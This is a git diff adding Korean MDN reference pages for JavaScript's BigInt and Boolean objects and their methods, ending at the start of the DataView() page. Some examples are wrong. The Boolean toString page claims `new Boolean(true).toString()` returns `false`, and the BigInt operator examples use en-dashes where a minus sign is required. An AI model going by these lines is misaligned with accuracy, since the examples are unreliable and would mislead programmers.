+ <dd>생성하는 객체에 할당할 숫자 값. 문자열 또는 정수를 사용할 수 있습니다.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>BigInt()</code>는 {{jsxref("Operators/new", "new")}} 연산자와 함께 사용하지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">BigInt(123);
+// 123n
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-bigint-constructor', 'BigInt constructor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt.BigInt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("BigInt")}} 클래스</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/bigint/index.html b/files/ko/web/javascript/reference/global_objects/bigint/index.html
new file mode 100644
index 0000000000..dcfc19e799
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/bigint/index.html
@@ -0,0 +1,280 @@
+---
+title: BigInt
+slug: Web/JavaScript/Reference/Global_Objects/BigInt
+tags:
+  - BigInt
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt</code></strong>는 {{jsxref("Number")}} 원시 값이 안정적으로 나타낼 수 있는 최대치인 2<sup>53</sup> - 1보다 큰 정수를 표현할 수 있는 내장 객체입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>BigInt</code>는 정수 리터럴의 뒤에 <code>n</code>을 붙이거나(<code>10n</code>) 함수 <code>BigInt()</code>를 호출해 생성할 수 있습니다.</p>
+
+<pre class="brush: js">const theBiggestInt = 9007199254740991n;
+
+const alsoHuge = BigInt(9007199254740991);
+// ↪ 9007199254740991n
+
+const hugeString = BigInt("9007199254740991");
+// ↪ 9007199254740991n
+
+const hugeHex = BigInt("0x1fffffffffffff");
+// ↪ 9007199254740991n
+
+const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111");
+// ↪ 9007199254740991n</pre>
+
+<p><code>BigInt</code>와 {{jsxref("Number")}}는 어떤 면에서 비슷하지만 중요한 차이점이 있습니다. 예컨대 <code>BigInt</code>는 내장 {{jsxref("Math")}} 객체의 메서드와 함께 사용할 수 없고, 연산에서 <code>Number</code>와 혼합해 사용할 수 없습니다. 따라서 먼저 같은 자료형으로 변환해야 합니다. 그러나, <code>BigInt</code>가 <code>Number</code>로 바뀌면 정확성을 잃을 수 있으니 주의해야 합니다.</p>
+
+<h3 id="자료형_정보">자료형 정보</h3>
+
+<p><code>BigInt</code>의 <code>typeof</code> 판별 결과는 <code>"bigint"</code>입니다.</p>
+
+<pre class="brush: js">typeof 1n === 'bigint'; // true
+typeof BigInt('1') === 'bigint'; // true
+</pre>
+
+<p>{{jsxref("Object")}}로 감싼 <code>BigInt</code>는 일반적인 <code>object</code> 자료형으로 취급합니다.</p>
+
+<pre class="brush: js">typeof Object(1n) === 'object'; // true
+</pre>
+
+<h3 id="연산자">연산자</h3>
+
+<p><code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code> 연산자를 <code>BigInt</code>나 객체로 감싼 <code>BigInt</code>에서 사용할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 연산자</a>도 사용할 수 있으나, 모든 <code>BigInt</code>는 부호를 가져야 하므로 <code>&gt;&gt;&gt;</code> (부호 버림 오른쪽 시프트)는 사용할 수 없습니다. <a href="https://github.com/tc39/proposal-bigint/blob/master/ADVANCED.md#dont-break-asmjs">asm.js에서 문제를 일으키지 않도록</a>, 단항 <code>+</code> 연산자도 지원하지 않습니다.</p>
+
+<pre class="brush: js">const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER);
+// ↪ 9007199254740991
+
+const maxPlusOne = previousMaxSafe + 1n;
+// ↪ 9007199254740992n
+
+const theFuture = previousMaxSafe + 2n;
+// ↪ 9007199254740993n, this works now!
+
+const multi = previousMaxSafe * 2n;
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n;
+// ↪ 18014398509481972n
+
+const mod = multi % 10n;
+// ↪ 2n
+
+const bigN = 2n ** 54n;
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+</pre>
+
+<p><code>/</code> 연산자도 정수 연산에서 예상할 수 있는 결과를 동일하게 도출합니다. 그러나 <code>BigInt</code>는 <code>BigDecimal</code>이 아니므로, 연산의 결과는 언제나 소수점 이하를 버립니다. 즉, 정수가 아닌 결과는 나오지 않습니다.</p>
+
+<div class="blockIndicator warning">
+<p>소수점 결과를 포함하는 연산을 <code>BigInt</code>와 사용하면 소수점 이하는 사라집니다.</p>
+</div>
+
+<pre class="brush: js">const expected = 4n / 2n;
+// ↪ 2n
+
+const rounded = 5n / 2n;
+// ↪ 2.5n이 아니라 2n
+</pre>
+
+<h3 id="비교">비교</h3>
+
+<p><code>BigInt</code>는 {{jsxref("Number")}}와 일치하지 않지만 동등합니다.</p>
+
+<pre class="brush: js">0n === 0
+// ↪ false
+
+0n == 0
+// ↪ true</pre>
+
+<p><code>Number</code>와 <code>BigInt</code>는 일반적인 방법으로 비교할 수 있습니다.</p>
+
+<pre class="brush: js">1n &lt; 2
+// ↪ true
+
+2n &gt; 1
+// ↪ true
+
+2 &gt; 2
+// ↪ false
+
+2n &gt; 2
+// ↪ false
+
+2n &gt;= 2
+// ↪ true</pre>
+
+<p>배열의 요소로 함께 사용했을 땐 정렬도 가능합니다.</p>
+
+<pre class="brush: js">const mixed = [4n, 6, -12n, 10, 4, 0, 0n];
+// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
+
+mixed.sort();
+// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
+</pre>
+
+<p>{{jsxref("Object")}}로 감싼 <code>BigInt</code>의 경우 다른 객체와 마찬가지로 자기 자신과 비교했을 때만 일치합니다.</p>
+
+<pre class="brush: js">0n === Object(0n); // false
+Object(0n) === Object(0n); // false
+
+const o = Object(0n);
+o === o // true
+</pre>
+
+<h3 id="조건">조건</h3>
+
+<p><code>BigInt</code>는 다음의 상황에서는 {{jsxref("Number")}}처럼 행동합니다.</p>
+
+<ul>
+ <li>{{jsxref("Boolean")}} 함수를 사용해 Boolean 객체로 변환</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/%EB%85%BC%EB%A6%AC_%EC%97%B0%EC%82%B0%EC%9E%90(Logical_Operators)">논리 연산자</a> <code>||</code>, <code>&amp;&amp;</code>, <code>!</code>와 함께 사용</li>
+ <li>{{jsxref("Statements/if...else", "if")}}문 등 조건 판별 시</li>
+</ul>
+
+<pre class="brush: js">if (0n) {
+  console.log('if에서 안녕!');
+} else {
+  console.log('else에서 안녕!');
+}
+
+// ↪ "else에서 안녕!"
+
+0n || 12n
+// ↪ 12n
+
+0n &amp;&amp; 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+</pre>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.BigInt", "BigInt()")}}</dt>
+ <dd><code>BigInt</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.asIntN()")}}</dt>
+ <dd>주어진 <code>BigInt</code>를 <code>-2<sup>width-1</sup></code>과 <code>2<sup>width-1</sup> - 1</code>의 범위로 자릅니다.</dd>
+ <dt>{{jsxref("BigInt.asUintN()")}}</dt>
+ <dd>주어진 <code>BigInt</code>를 <code>0</code>과 <code>2<sup>width</sup> - 1</code>의 범위로 자릅니다.</dd>
+</dl>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("BigInt.prototype.toLocaleString()")}}</dt>
+ <dd>BigInt를 주어진 언어에 적합한 형태를 가진 문자열로 변환해 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("BigInt.prototype.toString()")}}</dt>
+ <dd><code>BigInt</code>의 값을 주어진 진수로 표현한 문자열을 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("BigInt.prototype.valueOf()")}}</dt>
+ <dd><code>BigInt</code> 객체의 원시 값 표현을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="권장사항">권장사항</h2>
+
+<h3 id="변환">변환</h3>
+
+<p><code>BigInt</code>를 {{jsxref("Number")}}로 변환하는 과정에서 정확도를 유실할 수 있으므로, 2<sup>53</sup>보다 큰 값을 예상할 수 있는 경우 <code>BigInt</code>만 사용하는 것이 좋습니다.</p>
+
+<h3 id="암호화">암호화</h3>
+
+<p><code>BigInt</code>가 지원하는 연산의 소요시간은 상수 시간이 아니기 때문에 <a href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">암호화에 적합하지 않습니다</a>.</p>
+
+<h3 id="JSON과_함께_사용하기">JSON과 함께 사용하기</h3>
+
+<p><code>BigInt</code>는 직렬화할 수 없기 때문에, {{jsxref("JSON.stringify()")}}에 <code>BigInt</code>를 포함한 값을 전달한다면 <code>TypeError</code>가 발생합니다. 대신, 필요한 경우 자신만의 <code>toJSON</code> 메서드를 만들 수 있습니다.</p>
+
+<pre class="brush: js">BigInt.prototype.toJSON = function() { return this.toString(); }</pre>
+
+<p>이제 아래 코드가 오류를 던지지 않고 문자열을 반환합니다.</p>
+
+<pre class="brush: js">JSON.stringify(BigInt(1));
+// '"1"'
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="소수_구하기">소수 구하기</h3>
+
+<pre class="brush: js">// 주어진 BigInt가 소수이면 true 반환
+function isPrime(p) {
+  for (let i = 2n; i * i &lt;= p; i++) {
+    if (p % i === 0n) return false;
+  }
+  return true;
+}
+
+// BigInt를 받아, n번째 소수를 BigInt로 반환
+function nthPrime(nth) {
+  let maybePrime = 2n;
+  let prime = 0n;
+
+  while (nth &gt;= 0n) {
+    if (isPrime(maybePrime)) {
+      nth -= 1n;
+      prime = maybePrime;
+    }
+    maybePrime += 1n;
+  }
+
+  return prime;
+}
+
+nthPrime(20n)
+// ↪ 73n</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-bigint-objects", "<code>BigInt</code> objects")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt")}}</p>
+
+<h3 id="구현_진척도">구현 진척도</h3>
+
+<p>본 기능은 아직 안정적인 크로스 브라우징에 도달하지 못했으므로, 매일 업데이트되는 아래 표에서 브라우저별 구현 상황을 확인할 수 있습니다. 이 데이터는 각 브라우저 JavaScript 엔진의 나이틀리 빌드 또는 최신 릴리즈판에서, JavaScript 표준 테스트인 <a href="https://github.com/tc39/test262">Test262</a>의 관련 항목을 시험해 생성합니다.</p>
+
+<p>{{EmbedTest262ReportResultsTable("BigInt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html b/files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html
new file mode 100644
index 0000000000..6ba56eb37e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/bigint/prototype/index.html
@@ -0,0 +1,59 @@
+---
+title: BigInt.prototype
+slug: Web/JavaScript/Reference/Global_Objects/BigInt/prototype
+tags:
+  - BigInt
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/prototype
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt.prototype</code></strong> 속성은 {{jsxref("BigInt")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("BigInt")}} 인스턴스는 <code>BigInt.prototype</code>을 상속합니다. <code>BigInt</code> 생성자의 프로토타입 객체를 변형해 모든 <code>BigInt</code> 인스턴스에 영향을 줄 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>BigInt.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 만들 때 사용한 함수를 반환합니다. 기본값은 {{jsxref("BigInt")}} 객체입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt><code>BigInt.prototype.toLocaleString()</code></dt>
+ <dd>BigInt를 주어진 언어에 적합한 형태를 가진 문자열로 변환해 반환합니다. {{jsxref("Object.prototype.toLocaleString()")}} 메서드를 재정의합니다.</dd>
+ <dt><code>BigInt.prototype.toString()</code></dt>
+ <dd><code>BigInt</code>의 값을 주어진 진수로 표현한 문자열을 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt><code>BigInt.prototype.valueOf()</code></dt>
+ <dd><code>BigInt</code> 객체의 원시 값 표현을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.prototype">BigInt.prototype</a></td>
+   <td>Stage 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.BigInt.prototype")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html b/files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html
new file mode 100644
index 0000000000..bbe86a5134
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/boolean/index.html
@@ -0,0 +1,55 @@
+---
+title: Boolean() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/Boolean
+tags:
+  - Boolean
+  - Constructor
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Boolean()</code></strong> 생성자는 {{jsxref("Boolean")}} 객체를 생성할 때 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Boolean([<var>value</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code> {{optional_inline}}</dt>
+ <dd><code>Boolean</code> 객체의 초깃값.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean-constructor', 'Boolean constructor')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Boolean.Boolean")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>용어 사전: {{Glossary("Boolean")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/index.html b/files/ko/web/javascript/reference/global_objects/boolean/index.html
new file mode 100644
index 0000000000..06618f3ffe
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/index.html
@@ -0,0 +1,108 @@
+---
+title: Boolean
+slug: Web/JavaScript/Reference/Global_Objects/Boolean
+tags:
+  - Boolean
+  - Constructor
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Boolean</code></strong> 객체는 불리언 값을 감싸고 있는 객체입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>첫 번재 매개변수로서 전달한 값은 필요한 경우 불리언 값으로 변환됩니다. 값이 없거나 <code>0</code>, <code>-0</code>, {{jsxref("null")}}, <code>false</code>, {{jsxref("NaN")}}, {{jsxref("undefined")}}, 빈 문자열 (<code>""</code>)이라면 객체의 초기값은 <code>false</code>가 됩니다. 문자열 <code>"false"</code>를 포함한 그 외 모든 다른 값은 초기값을 <code>true</code>로 설정합니다.</p>
+
+<p><code>Boolean</code> 객체의 <code>true</code>와 <code>false</code> 값을 원시 <code>Boolean</code> 값 <code>true</code>, <code>false</code>와 혼동해선 안됩니다.</p>
+
+<p>값이 {{jsxref("undefined")}}, {{jsxref("null")}}이 아닌 <strong>모든</strong> 객체는 조건문에서 <code>true</code>로 계산됩니다. 이는 값이 <code>false</code>인 <code>Boolean</code> 객체도 포함합니다. 즉 아래 {{jsxref("Statements/if...else", "if")}} 문의 조건은 참입니다.</p>
+
+<pre class="brush: js notranslate">var x = new Boolean(false);
+if (x) {
+  // 이 코드는 실행됨
+}
+</pre>
+
+<p>그러나 원시 <code>Boolean</code> 값에는 적용되지 않습니다. 따라서 아래 {{jsxref("Statements/if...else", "if")}} 문의 조건은 거짓입니다.</p>
+
+<pre class="brush: js notranslate">var x = false;
+if (x) {
+  // 이 코드는 실행되지 않음
+}
+</pre>
+
+<p>불리언이 아닌 값을 변환할 때 <code>Boolean</code> 객체를 사용해선 안됩니다. 대신 <code>Boolean</code> 함수를 사용하세요.</p>
+
+<pre class="brush: js notranslate">var x = Boolean(expression);     // 추천
+var x = new Boolean(expression); // 사용하지 말것</pre>
+
+<p>값이 <code>false</code>인 <code>Boolean</code> 객체를 포함한 어떠한 객체를 <code>Boolean</code> 객체의 초기값으로 넘겨주더라도 새로운 <code>Boolean</code> 객체는 <code>true</code>를 가집니다.</p>
+
+<pre class="brush: js notranslate">var myFalse = new Boolean(false);   // 초기값 거짓
+var g = Boolean(myFalse);           // 초기값 참
+var myString = new String('Hello'); // 문자열 객체
+var s = Boolean(myString);          // 초기값 참</pre>
+
+<p><code>Boolean</code> 원시 값의 자리에서 <code>Boolean</code> 객체를 이용해선 안됩니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.Boolean", "Boolean()")}}</dt>
+ <dd><code>Boolean</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>객체의 값에 따라 문자열 <code>"true"</code> 또는 <code>"false"</code>를 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>{{jsxref("Boolean")}} 객체의 원시값을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="false_값으로_초기화한_Boolean_객체_만들기"><code>false</code> 값으로 초기화한 <code>Boolean</code> 객체 만들기</h3>
+
+<pre class="brush: js notranslate">var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean('');
+var bfalse = new Boolean(false);</pre>
+
+<h3 id="true_값으로_초기화한_Boolean_객체_만들기"><code>true</code> 값으로 초기화한 <code>Boolean</code> 객체 만들기</h3>
+
+<pre class="brush: js notranslate">var btrue = new Boolean(true);
+var btrueString = new Boolean('true');
+var bfalseString = new Boolean('false');
+var bSuLin = new Boolean('Su Lin');
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Boolean")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Glossary("Boolean")}}</li>
+ <li>{{interwiki("wikipedia", "불리언 자료형")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html b/files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html
new file mode 100644
index 0000000000..7d1ce4f379
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/prototype/index.html
@@ -0,0 +1,81 @@
+---
+title: Boolean.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype
+tags:
+  - Boolean
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Boolean.prototype</code></strong> 속성은 {{jsxref("Boolean")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Boolean")}} 인스턴스는 <code>Boolean.prototype</code>을 상속받습니다. 생성자의 프로토타입 객체를 사용해 모든 <code>Boolean</code> 인스턴스에 속성이나 메서드를 추가할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Boolean.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 반환합니다. 기본값은 {{jsxref("Boolean")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>{{jsxref("Boolean")}} 객체의 소스를 포함한 문자열을 반환합니다. 반환 문자열을 사용해 동일한 객체를 생성할 수 있습니다. {{jsxref("Object.prototype.toSource()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Boolean.prototype.toString()")}}</dt>
+ <dd>객체의 값에 따라 문자열 <code>"true"</code> 또는 <code>"false"</code>를 반환합니다. {{jsxref("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt>
+ <dd>{{jsxref("Boolean")}} 객체의 원시 값을 반환합니다. {{jsxref("Object.prototype.valueOf()")}} 메서드를 재정의합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Boolean.prototype")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html b/files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html
new file mode 100644
index 0000000000..5cdb2c1f47
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/tostring/index.html
@@ -0,0 +1,69 @@
+---
+title: Boolean.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+tags:
+  - Boolean
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>toString()</strong></code> 메서드는 {{jsxref("Boolean")}} 객체를 나타내는 문자열을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-tostring.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>bool</var>.toString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Boolean")}} 객체를 나타내는 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Boolean")}} 객체는 {{jsxref("Object.prototype.toString()")}} 메서드를 상속받지 않고 재정의합니다. <code>Boolean</code> 객체에서 <code>toString()</code> 메서드는 객체의 문자열 표현을 반환합니다.</p>
+
+<p>JavaScript는 {{jsxref("Boolean")}}을 문자열로 표현해야 할 때나 문자열 결합에 사용할 때 <code>toString()</code>을 자동으로 호출합니다.</p>
+
+<p><code>toString()</code>은 불리언 객체의 값에 따라 문자열 "<code>true</code>" 또는 "<code>false</code>"를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toString_사용하기"><code>toString()</code> 사용하기</h3>
+
+<pre class="brush: js notranslate">var flag = new Boolean(true);
+flag.toString(); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Boolean.toString")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html b/files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html
new file mode 100644
index 0000000000..50df1d98d2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/boolean/valueof/index.html
@@ -0,0 +1,67 @@
+---
+title: Boolean.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+tags:
+  - Boolean
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>valueOf()</strong></code> 메서드는 {{jsxref("Boolean")}} 객체의 원시 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/boolean-valueof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>bool</var>.valueOf()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Boolean")}} 객체의 원시 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>valueOf()</code> 메서드는 {{jsxref("Boolean")}} 객체나 불리언 리터럴의 원시 값을 Boolean 자료형의 값으로 반환합니다.</p>
+
+<p><code>valueOf()</code> 메서드는 보통 JavaScript 내부에서 호출하며 코드에서 명시적으로 사용하지는 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="valueOf_사용하기"><code>valueOf</code> 사용하기</h3>
+
+<pre class="brush: js notranslate">var x = new Boolean();
+x.valueOf(); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Boolean.valueOf")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html b/files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html
new file mode 100644
index 0000000000..7c8b3634a1
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/dataview/dataview/index.html
@@ -0,0 +1,75 @@
+---
+title: DataView() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/DataView/DataView
+tags:
+  - Constructor
+  - DataView
+  - JavaScript
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/DataView
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>DataView()</code></strong> 생성자는 새로운 {{jsxref("DataView")}} 객체를 생성합니다.</p>
+
